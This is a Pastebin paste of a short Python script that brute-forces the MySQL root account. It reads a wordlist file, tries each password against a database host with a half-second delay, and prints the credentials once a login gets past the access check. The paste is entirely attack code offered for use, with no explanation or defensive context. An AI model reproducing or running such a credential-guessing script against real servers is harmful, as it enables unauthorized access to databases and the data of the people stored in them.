Advertisement
Guest User

Untitled

a guest
Nov 7th, 2016
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.18 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. import mysql.connector
  5. from mysql.connector import errorcode
  6. import os
  7. import sys
  8. import time
  9.  
  10. password = "xxxx"
  11. hostr = "127.0.0.1"
  12.  
  13. def force(passw):
  14. try:
  15. user = "root"
  16. pass2 = str(passw)
  17. cnx = mysql.connector.connect(
  18. user="root",
  19. password=passw,
  20. host=hostr,
  21. database='employees')
  22.  
  23.  
  24. except mysql.connector.Error as err:
  25. if err.errno == errorcode.ER_BAD_DB_ERROR:
  26. print(" [+] Success!\n [+] User: " + user + " Pass: " + passw + "\n")
  27. return False
  28.  
  29. elif err.errno == errorcode.ER_ACCESS_DENIED_ERROR:
  30. return True
  31.  
  32. finally:
  33. time.sleep(0.5)
  34.  
  35. def main():
  36. reader = raw_input("Give target list: ")
  37. f = reader
  38.  
  39. print("\n [*] Scanning credentials on " + hostr + " ...")
  40. with open(f) as fp:
  41. for line in fp:
  42. currentline = line.split(",")
  43. StrL = str(currentline)
  44.  
  45. if "//" in StrL:
  46. pass
  47. else:
  48. host = StrL.replace("\\n","")
  49. host = host.replace("[","")
  50. host = host.replace("]","")
  51. host = host.replace(" ","")
  52. passw = host.replace("'","")
  53. call = force(passw)
  54. if call == False:
  55. break
  56. print("done!")
  57.  
  58. if __name__ == "__main__":
  59. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement